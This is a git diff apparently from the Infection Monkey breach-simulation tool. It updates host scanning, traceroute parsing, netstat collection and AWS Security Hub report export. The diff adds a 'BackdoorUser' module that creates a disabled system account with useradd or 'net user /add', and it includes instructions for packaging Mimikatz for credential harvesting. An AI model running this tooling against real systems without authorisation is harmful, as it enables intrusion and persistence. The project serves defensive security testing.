Finds machines according to the ranges specified in the object
|
Finds machines according to the ranges specified in the object
|
||||||
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
|
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
|
||||||
|
@ -70,16 +71,18 @@ class NetworkScanner(object):
|
||||||
:param stop_callback: A callback to check at any point if we should stop scanning
|
:param stop_callback: A callback to check at any point if we should stop scanning
|
||||||
:return: yields a sequence of VictimHost instances
|
:return: yields a sequence of VictimHost instances
|
||||||
"""
|
"""
|
||||||
if not scan_type:
|
|
||||||
return
|
|
||||||
|
|
||||||
scanner = scan_type()
|
TCPscan = TcpScanner()
|
||||||
|
Pinger = PingScanner()
|
||||||
victims_count = 0
|
victims_count = 0
|
||||||
|
|
||||||
for net_range in self._ranges:
|
for net_range in self._ranges:
|
||||||
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
||||||
for ip_addr in net_range:
|
for ip_addr in net_range:
|
||||||
victim = VictimHost(ip_addr)
|
if hasattr(net_range, 'domain_name'):
|
||||||
|
victim = VictimHost(ip_addr, net_range.domain_name)
|
||||||
|
else:
|
||||||
|
victim = VictimHost(ip_addr)
|
||||||
if stop_callback and stop_callback():
|
if stop_callback and stop_callback():
|
||||||
LOG.debug("Got stop signal")
|
LOG.debug("Got stop signal")
|
||||||
break
|
break
|
||||||
|
@ -94,9 +97,11 @@ class NetworkScanner(object):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
LOG.debug("Scanning %r...", victim)
|
LOG.debug("Scanning %r...", victim)
|
||||||
|
pingAlive = Pinger.is_host_alive(victim)
|
||||||
|
tcpAlive = TCPscan.is_host_alive(victim)
|
||||||
|
|
||||||
# if scanner detect machine is up, add it to victims list
|
# if scanner detect machine is up, add it to victims list
|
||||||
if scanner.is_host_alive(victim):
|
if pingAlive or tcpAlive:
|
||||||
LOG.debug("Found potential victim: %r", victim)
|
LOG.debug("Found potential victim: %r", victim)
|
||||||
victims_count += 1
|
victims_count += 1
|
||||||
yield victim
|
yield victim
|
||||||
|
@ -106,8 +111,9 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
break
|
break
|
||||||
|
|
||||||
if SCAN_DELAY:
|
if WormConfiguration.tcp_scan_interval:
|
||||||
time.sleep(SCAN_DELAY)
|
# time.sleep uses seconds, while config is in milliseconds
|
||||||
|
time.sleep(WormConfiguration.tcp_scan_interval/float(1000))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
||||||
|
|
|
@ -59,9 +59,9 @@ class PingScanner(HostScanner, HostFinger):
|
||||||
if regex_result:
|
if regex_result:
|
||||||
try:
|
try:
|
||||||
ttl = int(regex_result.group(0))
|
ttl = int(regex_result.group(0))
|
||||||
if LINUX_TTL == ttl:
|
if ttl <= LINUX_TTL:
|
||||||
host.os['type'] = 'linux'
|
host.os['type'] = 'linux'
|
||||||
elif WINDOWS_TTL == ttl:
|
else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up.
|
||||||
host.os['type'] = 'windows'
|
host.os['type'] = 'windows'
|
||||||
return True
|
return True
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
|
|
@ -9,9 +9,13 @@ import re
|
||||||
|
|
||||||
from six.moves import range
|
from six.moves import range
|
||||||
|
|
||||||
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
|
from infection_monkey.utils import is_64bit_python
|
||||||
|
|
||||||
DEFAULT_TIMEOUT = 10
|
DEFAULT_TIMEOUT = 10
|
||||||
BANNER_READ = 1024
|
BANNER_READ = 1024
|
||||||
IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
|
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
|
||||||
|
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
SLEEP_BETWEEN_POLL = 0.5
|
SLEEP_BETWEEN_POLL = 0.5
|
||||||
|
@ -175,9 +179,10 @@ def tcp_port_to_service(port):
|
||||||
return 'tcp-' + str(port)
|
return 'tcp-' + str(port)
|
||||||
|
|
||||||
|
|
||||||
def traceroute(target_ip, ttl):
|
def traceroute(target_ip, ttl=64):
|
||||||
"""
|
"""
|
||||||
Traceroute for a specific IP/name.
|
Traceroute for a specific IP/name.
|
||||||
|
Note, may throw exception on failure that should be handled by caller.
|
||||||
:param target_ip: IP/name of target
|
:param target_ip: IP/name of target
|
||||||
:param ttl: Max TTL
|
:param ttl: Max TTL
|
||||||
:return: Sequence of IPs in the way
|
:return: Sequence of IPs in the way
|
||||||
|
@ -188,6 +193,53 @@ def traceroute(target_ip, ttl):
|
||||||
return _traceroute_linux(target_ip, ttl)
|
return _traceroute_linux(target_ip, ttl)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_traceroute_bin_path():
|
||||||
|
"""
|
||||||
|
Gets the path to the prebuilt traceroute executable
|
||||||
|
|
||||||
|
This is the traceroute utility from: http://traceroute.sourceforge.net
|
||||||
|
Its been built using the buildroot utility with the following settings:
|
||||||
|
* Statically link to musl and all other required libs
|
||||||
|
* Optimize for size
|
||||||
|
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
|
||||||
|
|
||||||
|
:return: Path to traceroute executable
|
||||||
|
"""
|
||||||
|
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_traceroute(output, regex, ttl):
|
||||||
|
"""
|
||||||
|
Parses the output of traceroute (from either Linux or Windows)
|
||||||
|
:param output: The output of the traceroute
|
||||||
|
:param regex: Regex for finding an IP address
|
||||||
|
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
|
||||||
|
:return: List of ips which are the hops on the way to the traceroute destination.
|
||||||
|
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
|
||||||
|
"""
|
||||||
|
ip_lines = output.split('\n')
|
||||||
|
trace_list = []
|
||||||
|
|
||||||
|
first_line_index = None
|
||||||
|
for i in range(len(ip_lines)):
|
||||||
|
if re.search(r'^\s*1', ip_lines[i]) is not None:
|
||||||
|
first_line_index = i
|
||||||
|
break
|
||||||
|
|
||||||
|
for i in range(first_line_index, first_line_index + ttl):
|
||||||
|
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
|
||||||
|
break
|
||||||
|
|
||||||
|
re_res = re.search(regex, ip_lines[i])
|
||||||
|
if re_res is None:
|
||||||
|
ip_addr = None
|
||||||
|
else:
|
||||||
|
ip_addr = re_res.group()
|
||||||
|
trace_list.append(ip_addr)
|
||||||
|
|
||||||
|
return trace_list
|
||||||
|
|
||||||
|
|
||||||
def _traceroute_windows(target_ip, ttl):
|
def _traceroute_windows(target_ip, ttl):
|
||||||
"""
|
"""
|
||||||
Traceroute for a specific IP/name - Windows implementation
|
Traceroute for a specific IP/name - Windows implementation
|
||||||
|
@ -200,59 +252,22 @@ def _traceroute_windows(target_ip, ttl):
|
||||||
target_ip]
|
target_ip]
|
||||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
stdout, stderr = proc_obj.communicate()
|
stdout, stderr = proc_obj.communicate()
|
||||||
ip_lines = stdout.split('\r\n')
|
stdout = stdout.replace('\r', '')
|
||||||
trace_list = []
|
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
|
||||||
|
|
||||||
first_line_index = None
|
|
||||||
for i in range(len(ip_lines)):
|
|
||||||
if re.search(r'^\s*1', ip_lines[i]) is not None:
|
|
||||||
first_line_index = i
|
|
||||||
break
|
|
||||||
|
|
||||||
for i in range(first_line_index, first_line_index + ttl):
|
|
||||||
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
|
|
||||||
break
|
|
||||||
|
|
||||||
re_res = re.search(IP_ADDR_RE, ip_lines[i])
|
|
||||||
if re_res is None:
|
|
||||||
ip_addr = None
|
|
||||||
else:
|
|
||||||
ip_addr = re_res.group()
|
|
||||||
trace_list.append(ip_addr)
|
|
||||||
|
|
||||||
return trace_list
|
|
||||||
|
|
||||||
|
|
||||||
def _traceroute_linux(target_ip, ttl):
|
def _traceroute_linux(target_ip, ttl):
|
||||||
"""
|
"""
|
||||||
Traceroute for a specific IP/name - Linux implementation
|
Traceroute for a specific IP/name - Linux implementation
|
||||||
"""
|
"""
|
||||||
# implementation note: We're currently going to just use ping.
|
|
||||||
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
|
|
||||||
# while this is just ugly
|
|
||||||
# we can't use traceroute because it's not always installed
|
|
||||||
current_ttl = 1
|
|
||||||
trace_list = []
|
|
||||||
while current_ttl <= ttl:
|
|
||||||
cli = ["ping",
|
|
||||||
"-c", "1",
|
|
||||||
"-w", "1",
|
|
||||||
"-t", str(current_ttl),
|
|
||||||
target_ip]
|
|
||||||
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
|
||||||
stdout, stderr = proc_obj.communicate()
|
|
||||||
ips = re.findall(IP_ADDR_RE, stdout)
|
|
||||||
if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable.
|
|
||||||
return []
|
|
||||||
elif ips[-1] in trace_list: # Failed getting this hop
|
|
||||||
trace_list.append(None)
|
|
||||||
else:
|
|
||||||
trace_list.append(ips[-1])
|
|
||||||
dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings
|
|
||||||
|
|
||||||
if dest_ip == ips[-1]:
|
cli = [_get_traceroute_bin_path(),
|
||||||
break
|
"-m", str(ttl),
|
||||||
|
target_ip]
|
||||||
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
|
stdout, stderr = proc_obj.communicate()
|
||||||
|
|
||||||
current_ttl += 1
|
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
|
||||||
|
lines = [x[1:-1] if x else None # Removes parenthesis
|
||||||
return trace_list
|
for x in lines]
|
||||||
|
return lines
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
|
||||||
|
from add_user import BackdoorUser
|
|
@ -0,0 +1,49 @@
|
||||||
|
import datetime
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Linux doesn't have WindowsError
|
||||||
|
try:
|
||||||
|
WindowsError
|
||||||
|
except NameError:
|
||||||
|
WindowsError = None
|
||||||
|
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
|
||||||
|
class BackdoorUser(object):
|
||||||
|
"""
|
||||||
|
This module adds a disabled user to the system.
|
||||||
|
This tests part of the ATT&CK matrix
|
||||||
|
"""
|
||||||
|
|
||||||
|
def act(self):
|
||||||
|
LOG.info("Adding a user")
|
||||||
|
if sys.platform.startswith("win"):
|
||||||
|
retval = self.add_user_windows()
|
||||||
|
else:
|
||||||
|
retval = self.add_user_linux()
|
||||||
|
if retval != 0:
|
||||||
|
LOG.warn("Failed to add a user")
|
||||||
|
else:
|
||||||
|
LOG.info("Done adding user")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_user_linux():
|
||||||
|
cmd_line = ['useradd', '-M', '--expiredate',
|
||||||
|
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
|
||||||
|
WormConfiguration.user_to_add]
|
||||||
|
retval = subprocess.call(cmd_line)
|
||||||
|
return retval
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def add_user_windows():
|
||||||
|
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
|
||||||
|
WormConfiguration.remote_user_pass,
|
||||||
|
'/add', '/ACTIVE:NO']
|
||||||
|
retval = subprocess.call(cmd_line)
|
||||||
|
return retval
|
|
@ -1,4 +1,5 @@
|
||||||
How to build a monkey binary from scratch.
|
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||||
|
If you only want to build monkey from scratch you may reference instructions below.
|
||||||
|
|
||||||
The monkey is composed of three separate parts.
|
The monkey is composed of three separate parts.
|
||||||
* The Infection Monkey itself - PyInstaller compressed python archives
|
* The Infection Monkey itself - PyInstaller compressed python archives
|
||||||
|
@ -75,4 +76,4 @@ Alternatively, if you build Mimikatz, put each version in a zip file.
|
||||||
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
||||||
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
||||||
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||||
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
||||||
|
|
|
@ -14,4 +14,7 @@ six
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
wmi
|
wmi
|
||||||
|
pywin32
|
||||||
|
pymssql
|
||||||
|
pyftpdlib
|
|
@ -8,6 +8,7 @@ from enum import IntEnum
|
||||||
from infection_monkey.network.info import get_host_subnets
|
from infection_monkey.network.info import get_host_subnets
|
||||||
from infection_monkey.system_info.aws_collector import AwsCollector
|
from infection_monkey.system_info.aws_collector import AwsCollector
|
||||||
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
||||||
|
from infection_monkey.system_info.netstat_collector import NetstatCollector
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -107,12 +108,16 @@ class InfoCollector(object):
|
||||||
def get_network_info(self):
|
def get_network_info(self):
|
||||||
"""
|
"""
|
||||||
Adds network information from the host to the system information.
|
Adds network information from the host to the system information.
|
||||||
Currently updates with a list of networks accessible from host,
|
Currently updates with netstat and a list of networks accessible from host
|
||||||
containing host ip and the subnet range.
|
containing host ip and the subnet range
|
||||||
:return: None. Updates class information
|
:return: None. Updates class information
|
||||||
"""
|
"""
|
||||||
LOG.debug("Reading subnets")
|
LOG.debug("Reading subnets")
|
||||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
self.info['network_info'] =\
|
||||||
|
{
|
||||||
|
'networks': get_host_subnets(),
|
||||||
|
'netstat': NetstatCollector.get_netstat_info()
|
||||||
|
}
|
||||||
|
|
||||||
def get_azure_info(self):
|
def get_azure_info(self):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import psutil
|
||||||
|
import socket
|
||||||
|
|
||||||
|
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class NetstatCollector(object):
|
||||||
|
"""
|
||||||
|
Extract netstat info
|
||||||
|
"""
|
||||||
|
|
||||||
|
AF_INET6 = getattr(socket, 'AF_INET6', object())
|
||||||
|
|
||||||
|
proto_map = {
|
||||||
|
(AF_INET, SOCK_STREAM): 'tcp',
|
||||||
|
(AF_INET6, SOCK_STREAM): 'tcp6',
|
||||||
|
(AF_INET, SOCK_DGRAM): 'udp',
|
||||||
|
(AF_INET6, SOCK_DGRAM): 'udp6',
|
||||||
|
}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_netstat_info():
|
||||||
|
LOG.info("Collecting netstat info")
|
||||||
|
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_connection(c):
|
||||||
|
return \
|
||||||
|
{
|
||||||
|
'proto': NetstatCollector.proto_map[(c.family, c.type)],
|
||||||
|
'local_address': c.laddr[0],
|
||||||
|
'local_port': c.laddr[1],
|
||||||
|
'remote_address': c.raddr[0] if c.raddr else None,
|
||||||
|
'remote_port': c.raddr[1] if c.raddr else None,
|
||||||
|
'status': c.status,
|
||||||
|
'pid': c.pid
|
||||||
|
}
|
|
@ -2,7 +2,7 @@ import os
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
|
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
||||||
|
@ -36,9 +36,11 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
"""
|
"""
|
||||||
LOG.debug("Running Windows collector")
|
LOG.debug("Running Windows collector")
|
||||||
super(WindowsInfoCollector, self).get_info()
|
super(WindowsInfoCollector, self).get_info()
|
||||||
self.get_wmi_info()
|
#self.get_wmi_info()
|
||||||
self.get_installed_packages()
|
self.get_installed_packages()
|
||||||
self.get_mimikatz_info()
|
from infection_monkey.config import WormConfiguration
|
||||||
|
if WormConfiguration.should_use_mimikatz:
|
||||||
|
self.get_mimikatz_info()
|
||||||
|
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
from cc.environment.environment import load_env_from_file, AWS
|
||||||
|
from cc.report_exporter_manager import ReportExporterManager
|
||||||
|
from cc.resources.aws_exporter import AWSExporter
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
def populate_exporter_list():
|
||||||
|
|
||||||
|
manager = ReportExporterManager()
|
||||||
|
if is_aws_exporter_required():
|
||||||
|
manager.add_exporter_to_list(AWSExporter)
|
||||||
|
|
||||||
|
|
||||||
|
def is_aws_exporter_required():
|
||||||
|
if str(load_env_from_file()) == AWS:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
|
@ -18,6 +18,7 @@ json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_def
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
from cc.app import init_app
|
from cc.app import init_app
|
||||||
|
from cc.exporter_init import populate_exporter_list
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
from cc.environment.environment import env
|
from cc.environment.environment import env
|
||||||
from cc.database import is_db_server_up
|
from cc.database import is_db_server_up
|
||||||
|
@ -34,6 +35,7 @@ def main():
|
||||||
logger.info('Waiting for MongoDB server')
|
logger.info('Waiting for MongoDB server')
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
populate_exporter_list()
|
||||||
app = init_app(mongo_url)
|
app = init_app(mongo_url)
|
||||||
if env.is_debug():
|
if env.is_debug():
|
||||||
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
|
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key'))
|
||||||
|
@ -44,6 +46,7 @@ def main():
|
||||||
http_server.listen(env.get_island_port())
|
http_server.listen(env.get_island_port())
|
||||||
logger.info(
|
logger.info(
|
||||||
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
||||||
|
|
||||||
IOLoop.instance().start()
|
IOLoop.instance().start()
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,34 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class Singleton(type):
|
||||||
|
_instances = {}
|
||||||
|
|
||||||
|
def __call__(cls, *args, **kwargs):
|
||||||
|
if cls not in cls._instances:
|
||||||
|
cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
|
||||||
|
return cls._instances[cls]
|
||||||
|
|
||||||
|
|
||||||
|
class ReportExporterManager(object):
|
||||||
|
__metaclass__ = Singleton
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._exporters_set = set()
|
||||||
|
|
||||||
|
def get_exporters_list(self):
|
||||||
|
return self._exporters_set
|
||||||
|
|
||||||
|
def add_exporter_to_list(self, exporter):
|
||||||
|
self._exporters_set.add(exporter)
|
||||||
|
|
||||||
|
def export(self, report):
|
||||||
|
try:
|
||||||
|
for exporter in self._exporters_set:
|
||||||
|
exporter().handle_report(report)
|
||||||
|
except Exception as e:
|
||||||
|
logger.exception('Failed to export report')
|
|
@ -9,6 +9,9 @@ from cc.services.config import ConfigService
|
||||||
from cc.environment.environment import load_server_configuration_from_file
|
from cc.environment.environment import load_server_configuration_from_file
|
||||||
from common.cloud.aws_instance import AwsInstance
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
|
||||||
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
|
AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'],
|
||||||
|
@ -87,6 +90,7 @@ class AWSExporter(Exporter):
|
||||||
"ProductArn": product_arn,
|
"ProductArn": product_arn,
|
||||||
"GeneratorId": issue['type'],
|
"GeneratorId": issue['type'],
|
||||||
"AwsAccountId": account_id,
|
"AwsAccountId": account_id,
|
||||||
|
"RecordState": "ACTIVE",
|
||||||
"Types": [
|
"Types": [
|
||||||
"Software and Configuration Checks/Vulnerabilities/CVE"
|
"Software and Configuration Checks/Vulnerabilities/CVE"
|
||||||
],
|
],
|
||||||
|
@ -120,488 +124,288 @@ class AWSExporter(Exporter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_tunnel_issue(issue, instance_arn):
|
def _get_finding_resource(instance_id, instance_arn):
|
||||||
finding = \
|
if instance_id:
|
||||||
{"Severity": {
|
return [{
|
||||||
"Product": 5,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Weak segmentation - Machines were able to communicate over unused ports.",
|
|
||||||
"Description": "Use micro-segmentation policies to disable communication other than the required.",
|
|
||||||
"Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
|
|
||||||
.format(issue['machine'], issue['dest'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
|
||||||
finding["Resources"] = [{
|
|
||||||
"Type": "AwsEc2Instance",
|
"Type": "AwsEc2Instance",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
"Id": instance_arn.format(instance_id=instance_id)
|
||||||
}]
|
}]
|
||||||
else:
|
else:
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
return [{'Type': 'Other', 'Id': 'None'}]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None):
|
||||||
|
finding = {
|
||||||
|
"Severity": {
|
||||||
|
"Product": severity,
|
||||||
|
"Normalized": 100
|
||||||
|
},
|
||||||
|
'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn),
|
||||||
|
"Title": title,
|
||||||
|
"Description": description,
|
||||||
|
"Remediation": {
|
||||||
|
"Recommendation": {
|
||||||
|
"Text": recommendation
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
|
||||||
return finding
|
return finding
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _handle_tunnel_issue(issue, instance_arn):
|
||||||
|
|
||||||
|
return AWSExporter._build_generic_finding(
|
||||||
|
severity=5,
|
||||||
|
title="Weak segmentation - Machines were able to communicate over unused ports.",
|
||||||
|
description="Use micro-segmentation policies to disable communication other than the required.",
|
||||||
|
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}"
|
||||||
|
.format(issue['machine'], issue['dest']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_sambacry_issue(issue, instance_arn):
|
def _handle_sambacry_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 10,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'",
|
|
||||||
"Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
|
|
||||||
.format(issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=10,
|
||||||
"Type": "AwsEc2Instance",
|
title="Samba servers are vulnerable to 'SambaCry'",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \
|
||||||
}]
|
.format(issue['username']),
|
||||||
else:
|
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
issue['machine'], issue['ip_address'], issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_smb_pth_issue(issue, instance_arn):
|
def _handle_smb_pth_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 5,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=5,
|
||||||
"Type": "AwsEc2Instance",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
"Id": instance_arn.format(instance_id=issue['aws_instance_id'])
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
||||||
}]
|
issue['username']),
|
||||||
else:
|
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(
|
||||||
finding["Resources"] = [{'Type': 'Other'}]
|
issue['machine'], issue['ip_address'], issue['username']),
|
||||||
|
instance_arn=instance_arn,
|
||||||
return finding
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_ssh_issue(issue, instance_arn):
|
def _handle_ssh_issue(issue, instance_arn):
|
||||||
finding = \
|
|
||||||
{"Severity": {
|
|
||||||
"Product": 1,
|
|
||||||
"Normalized": 100
|
|
||||||
}, "RecordState": "ACTIVE",
|
|
||||||
"Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']), "Remediation": {
|
|
||||||
"Recommendation": {
|
|
||||||
"Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(
|
|
||||||
issue['machine'], issue['ip_address'], issue['username'])
|
|
||||||
}
|
|
||||||
}}
|
|
||||||
|
|
||||||
if 'aws_instance_id' in issue:
|
return AWSExporter._build_generic_finding(
|
||||||
finding["Resources"] = [{
|
severity=1,
|
||||||
"Type": "AwsEc2Instance",
|
